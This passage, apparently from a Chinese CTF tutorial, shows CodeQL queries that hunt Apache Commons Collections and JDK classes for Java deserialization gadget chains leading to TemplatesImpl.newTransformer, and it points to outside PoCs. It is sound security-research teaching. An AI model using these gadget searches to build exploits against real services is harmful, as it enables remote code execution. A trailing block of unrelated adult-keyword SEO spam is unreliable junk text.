              getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
              fromSource() and
              getNumberOfParameters()=1
            }
          }
          from ClosureCallable c
          select c,c.getBody(),c.getDeclaringType()

          第三個點就是篩選Factory類的create方法看看有什么可以利用的。

          import java
          
          class FactoryCallable extends Callable {
            FactoryCallable() {
              getName().matches("create") and
              getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
              fromSource() and
              getNumberOfParameters()=0
            }
          }
          
          from FactoryCallable c
          select c,c.getBody(),c.getDeclaringType()

          發現結果中的第三個也是可以觸發類的構造方法,后續流程又回到了第二點后半部分的TrAXFilter類的利用了。

          雖然有transient修飾,但是findConstructor又會給iConstructor進行賦值,所以這里是可以利用的。

          然后我們在生成jdk數據庫里面找找有沒有那個類的構造方法可以調用到TemplatesImplnewTransformer方法,編寫如下的查詢語句可以得到TrAXFilter的構造方法是可以觸發newTransformer,具體poc構造參考。

          /**
           * @kind path-problem
           */
          
          import java
          
          class ConMethod extends Callable{
            ConMethod(){
              this instanceof Constructor
            }
          }
          
          class NewTransformer extends Callable{
            NewTransformer(){
              hasName("newTransformer") and
              hasNoParameters() and
              getDeclaringType().hasName("TemplatesImpl")
            }
          }
          
          query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
          
          from  NewTransformer endcall, ConMethod entryPoint
          where edges(entryPoint, endcall)
          select endcall, entryPoint, endcall, "newTransformer finder"

          Java的poc構造可以參考上面ezjava題目給出的兩個鏈接。

          結果中的第四個雖然有反射調用任意的方法,但是transient修飾了方法名,導致反序列化時這個值會為null,所以這里利用不了。

          結果中的第六個是無參的構造方法調用,也利用不了。

          第四個點也就是會新創建一個對象,也就會觸發構造方法,所以利用方式就可以參考第一個點的后半部分,具體poc的構造可以參考:

          https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA

          第五個點大概看了沒有什么利用的地方。

          import java
          
          class PredicateCallable extends Callable {
            PredicateCallable() {
              getName().matches("evaluate") and
              getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
              fromSource() and
              getNumberOfParameters()=1
            }
          }
          
          from PredicateCallable c
          select c,c.getBody(),c.getDeclaringType()

          總結

          通過CodeQL,確實可以在代碼審計中提高了審計速度和避免人工查找時因馬虎而遺漏的一些關鍵點。同學們下次打CTF時,不妨嘗試下CodeQL,看看能否更快地拿到flag。

          關于CodeQL在CTF的代碼審計的應用,筆者只是淺嘗輒止,希望能通過本文,引發更多師傅對CodeQL在CTF上的更多嘗試。歡迎師傅們交流討論。

          參考鏈接

          https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md

          https://codeql.github.com/codeql-standard-libraries/java/

          https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/

          https://tttang.com/archive/1570/

          https://tttang.com/archive/1415/

          https://xz.aliyun.com/t/10707


          主站蜘蛛池模板: 中文字幕久久亚洲一区 | 国产一区中文字幕| 乱码精品一区二区三区| 国产一区二区视频在线播放| 久久久久久一区国产精品| 国产主播一区二区| 亚洲AV日韩综合一区尤物| 国产成人久久一区二区三区| 久久久久女教师免费一区| 在线视频一区二区三区| 中文字幕一区精品| 国产主播在线一区| 国产无套精品一区二区| 国产乱码精品一区二区三区中| 色婷婷亚洲一区二区三区| 一区二区三区国产精品| 日本一区二区三区在线网| 精品无码一区二区三区爱欲九九 | 一区二区三区日韩精品| 韩国资源视频一区二区三区| 一区二区在线观看视频| 一区二区三区高清视频在线观看| 日韩一区二区视频| 一区二区三区精密机械| 风间由美性色一区二区三区| 久久精品中文字幕一区| 精品在线一区二区| 无码一区二区三区中文字幕| 日韩一区二区久久久久久| 亚洲一区视频在线播放| 一区二区三区福利| 国产一区二区三区亚洲综合| 男插女高潮一区二区| 久久er99热精品一区二区| 国产日韩一区二区三免费高清| 福利一区二区视频| 国产精品亚洲产品一区二区三区 | 99精品一区二区三区| 亚洲av日韩综合一区在线观看| 亚洲乱码国产一区三区| 国产精品女同一区二区|